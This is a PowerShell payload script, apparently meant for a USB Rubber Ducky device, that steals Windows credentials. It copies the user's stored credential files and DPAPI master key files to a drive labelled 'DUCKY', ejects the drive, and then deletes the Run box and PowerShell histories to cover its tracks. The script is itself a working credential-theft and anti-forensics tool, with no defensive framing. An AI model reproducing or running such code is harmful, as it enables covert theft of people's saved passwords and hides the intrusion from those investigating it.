1. # Variables
2. $drive = (Get-Volume -FileSystemLabel 'DUCKY').DriveLetter
3. $userProfile = $Env:UserProfile
4.  
5. # Get the credential files
6. $credentialFiles = Get-ChildItem -Force "${userProfile}\AppData\Local\Microsoft\Credentials\"
7. $i=1
8. $credentialFiles | ForEach-Object {
9.     $fileObj = $_
10.     # copy to ducky
11.     Copy-Item $fileObj.FullName "${drive}:\credential${i}"
12.     $i++
13. }
14. # Get the gUIDMasterKey
15. $protectFolder = (Get-ChildItem -Directory -Force "${userProfile}\AppData\Roaming\Microsoft\Protect\").FullName
16.  
17. # Copy master key to ducky
18. $index=1
19. Get-ChildItem -Force -Recurse $protectFolder | ForEach-Object {
20.     # $fileName = $_.Name
21.     $filePath = $_.FullName
22.     Copy-Item $filePath "${drive}:\key${index}"
23. }
24.  
25. # Eject
26. $driveEject = New-Object -ComObject Shell.Application
27. $driveEject.Namespace(17).ParseName("${drive}:").InvokeVerb("Eject")
28.  
29. # Cleanup traces
30.  
31. # Delete run box history
32. reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
33.  
34. # Delete Powershell history
35. Remove-Item (Get-PSreadlineOption).HistorySavePath
36.  
37. exit